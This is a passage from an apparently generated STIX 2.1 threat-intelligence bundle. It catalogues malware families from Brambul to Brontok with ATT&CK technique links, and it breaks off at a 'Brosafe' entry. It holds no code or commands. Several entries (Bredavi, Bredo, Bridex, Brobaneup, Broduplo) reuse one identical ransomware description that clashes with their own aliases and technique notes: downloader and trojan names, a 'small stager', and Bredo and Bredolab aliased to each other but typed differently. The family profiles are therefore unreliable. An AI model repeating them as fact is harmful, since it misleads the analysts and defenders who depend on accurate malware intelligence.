      "relationship_type": "uses",
      "source_ref": "malware--0ea4b468-7fed-5ecc-8528-312e2a992d5c",
      "target_ref": "attack-pattern--5f1029ec-51c9-5060-9e14-dda97d706dfd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Brambul exhibits technique T1071.003 (Mail Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8387787a-bc45-5cf1-880e-7877e3781106",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ea4b468-7fed-5ecc-8528-312e2a992d5c",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Brambul exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--87bec685-e5cb-5197-bdd0-1be396f3004c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bredavi",
      "description": "Bredavi (classified in antivirus detection telemetry under designations including Ransom:Win32/Bredavi, Ransom.Win32.Bredavi, and Win32/Bredavi) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bredavi executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Bredavi",
        "Ransom.Win32.Bredavi",
        "Win32/Bredavi"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bredavi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bredavi"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b38be892-8507-5c6b-b4d8-7187f2cbb4c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87bec685-e5cb-5197-bdd0-1be396f3004c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bredavi exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--54c96383-772c-58a9-b5d5-01d0f8ceecff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87bec685-e5cb-5197-bdd0-1be396f3004c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bredavi exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d3cf7ecf-fca0-5a39-8f32-c36223af0059",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87bec685-e5cb-5197-bdd0-1be396f3004c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bredavi exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e3108894-9bde-5db8-afb7-303b1ff57495",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87bec685-e5cb-5197-bdd0-1be396f3004c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bredavi exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6be47687-2f7d-5e76-8a60-171a23caf0a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87bec685-e5cb-5197-bdd0-1be396f3004c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bredavi exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5ae3213e-5f48-5177-b203-d70f43ff2265",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bredo",
      "description": "Bredo (classified in antivirus detection telemetry under designations including Ransom:Win32/Bredo, Ransom.Win32.Bredo, and Win32/Bredo) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bredo executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan-Downloader.Win32.Bredo",
        "BredoLab",
        "W32/Bredo",
        "Ransom:Win32/Bredo",
        "Ransom.Win32.Bredo",
        "Win32/Bredo"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bredo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bredo"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b2d788d7-08b7-509f-8baf-fe3ea58a1cbf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ae3213e-5f48-5177-b203-d70f43ff2265",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bredo exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--916f3705-53dc-561e-abe3-36d8541c9859",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ae3213e-5f48-5177-b203-d70f43ff2265",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bredo exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--272e5b50-f168-5626-b820-3697581150e3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ae3213e-5f48-5177-b203-d70f43ff2265",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bredo exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ee2ee41d-1919-536c-b6a0-e6b0843cf38c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bredolab",
      "description": "Bredolab (classified in antivirus detection telemetry under designations including Trojan:Win32/Bredolab, Trojan.Win32.Bredolab, and Win32/Bredolab) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bredolab executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan-Downloader.Win32.BredoLab",
        "Bredo",
        "W32/BredoLab",
        "Trojan:Win32/Bredolab",
        "Trojan.Win32.Bredolab",
        "Win32/Bredolab"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bredolab",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bredolab"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7c9ae28a-15a3-51fd-b88b-8a2e00ec402c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ee2ee41d-1919-536c-b6a0-e6b0843cf38c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bredolab exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--788f966c-e6d9-511d-84f7-2211c5867137",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ee2ee41d-1919-536c-b6a0-e6b0843cf38c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bredolab exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f9202f38-840a-538a-94b4-e06d42d6e5c2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ee2ee41d-1919-536c-b6a0-e6b0843cf38c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bredolab exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--269f2df5-253c-55d7-a9be-d64ff7ba79eb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ee2ee41d-1919-536c-b6a0-e6b0843cf38c",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bredolab exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--26b57c60-fbdd-55ed-9b52-f00cf4ef9087",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bridex",
      "description": "Bridex (classified in antivirus detection telemetry under designations including Ransom:Win32/Bridex, Ransom.Win32.Bridex, and Win32/Bridex) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bridex executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Bridex",
        "Downloader.Bridex",
        "Win32/Bridex",
        "Ransom:Win32/Bridex",
        "Ransom.Win32.Bridex"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bridex",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bridex"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ec0fded4-9bce-51ee-852c-1acf9881b686",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26b57c60-fbdd-55ed-9b52-f00cf4ef9087",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bridex exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--14c9969a-5ad5-5df7-b7d1-d432740b8d0c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26b57c60-fbdd-55ed-9b52-f00cf4ef9087",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bridex exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--46458b61-26db-505e-ae25-87e108fde10b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26b57c60-fbdd-55ed-9b52-f00cf4ef9087",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bridex exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e955ccf9-7a31-5563-a1e4-1ac446fbb479",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Brobaneup",
      "description": "Brobaneup (classified in antivirus detection telemetry under designations including Ransom:Win32/Brobaneup, Ransom.Win32.Brobaneup, and Win32/Brobaneup) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Brobaneup executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Brobaneup",
        "Ransom.Win32.Brobaneup",
        "Win32/Brobaneup"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Brobaneup",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/brobaneup"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ad19f811-fb61-5397-8249-908238857367",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e955ccf9-7a31-5563-a1e4-1ac446fbb479",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Brobaneup exhibits technique T1105 (Ingress Tool Transfer (The core function of fetching the secondary payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fe9ff3ed-3774-559a-8ad6-717b95a711a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e955ccf9-7a31-5563-a1e4-1ac446fbb479",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Brobaneup exhibits technique T1566.001 (Phishing: Spearphishing Attachment (Primary distribution vector))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--db1e7ca7-45ab-5275-b019-f45e24e6ce3d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e955ccf9-7a31-5563-a1e4-1ac446fbb479",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Brobaneup exhibits technique T1204.002 (User Execution: Malicious File (Relying on the user to execute the small stager))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cb1c7dca-6dec-57a9-b6b9-d66a8ca564c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Broduplo",
      "description": "Broduplo (classified in antivirus detection telemetry under designations including Ransom:Win32/Broduplo, Ransom.Win32.Broduplo, and Win32/Broduplo) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Broduplo executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Broduplo",
        "Ransom.Win32.Broduplo",
        "Win32/Broduplo"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Broduplo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/broduplo"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a3ea459e-be05-5c1a-b502-14e200009309",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cb1c7dca-6dec-57a9-b6b9-d66a8ca564c5",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Broduplo exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b39a1ca7-078a-5b89-bffe-9bbd2a01c92b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cb1c7dca-6dec-57a9-b6b9-d66a8ca564c5",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Broduplo exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6af2a302-3a45-590f-9877-aa7db84d3db9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cb1c7dca-6dec-57a9-b6b9-d66a8ca564c5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Broduplo exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c5476fe-4126-5e28-8fdb-619f39bdad90",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cb1c7dca-6dec-57a9-b6b9-d66a8ca564c5",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Broduplo exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--19378bd1-fd20-5389-aa89-afd097db29ec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cb1c7dca-6dec-57a9-b6b9-d66a8ca564c5",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Broduplo exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cd0fd44c-c9a7-5656-b4f1-50a66444154f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Brontok",
      "description": "Brontok (widely recognized across cybersecurity history as Rontokbr, Worm:Win32/Brontok, and W32.Rontokbro@mm) is a landmark, highly disruptive mass-mailing computer worm first surfacing in 2005 from Indonesian authors. Brontok propagates aggressively by scanning local drives for email addresses, utilizing an internal SMTP engine to blast infected messages with deceptive attachment names, and replicating to removable USB drives and shared network folders. Once resident, Brontok disables Windows Registry Editor (regedit), Task Manager, and Folder Options, and actively terminates system utility windows containing strings like 'regedit' or 'cmd', triggering immediate system reboots if users attempt diagnostics. The worm creates multiple startup entries across Windows Run keys, displays socio-political manifestos in browser windows, and launches ping-flood distributed denial-of-service attacks against designated websites. (Observed samples in benchmark: 57)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm:Win32/Brontok",
        "Worm:Win32/Brontok@mm",
        "W32.Rontokbro@mm",
        "Email-Worm.Win32.Brontok",
        "Rontokbr"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Brontok",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/brontok"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c264467b-6fdd-5180-8005-4f162241024c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cd0fd44c-c9a7-5656-b4f1-50a66444154f",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Brontok exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae8b2830-e0f4-5f85-abe2-44909d20cb19",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cd0fd44c-c9a7-5656-b4f1-50a66444154f",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Brontok exhibits technique T1091 (Replication Through Removable Media)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--3b5639c8-b582-5988-b9eb-f34bd3a9a3ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1114.001: Email Collection: Local Email Collection",
      "description": "MITRE ATT&CK Technique T1114.001 (Email Collection: Local Email Collection) under tactic Collection.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1114.001",
          "url": "https://attack.mitre.org/techniques/T1114/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6449d5b-f6cb-5f44-a356-c6ec66f6b6ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cd0fd44c-c9a7-5656-b4f1-50a66444154f",
      "target_ref": "attack-pattern--3b5639c8-b582-5988-b9eb-f34bd3a9a3ba",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Brontok exhibits technique T1114.001 (Email Collection: Local Email Collection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--699b3c2f-dcbf-51c5-a21f-e2e45effb6bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cd0fd44c-c9a7-5656-b4f1-50a66444154f",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Brontok exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dd16d077-c4be-50ef-8510-c00f17a832e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cd0fd44c-c9a7-5656-b4f1-50a66444154f",
      "target_ref": "attack-pattern--298d5d84-c03c-507d-b182-00cbc8d5fb24",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Brontok exhibits technique T1036.005 (Masquerading: Match Legitimate Name or Location)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--52a54f32-3f80-5eab-bb44-fb41b15d0ebd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Brosafe",
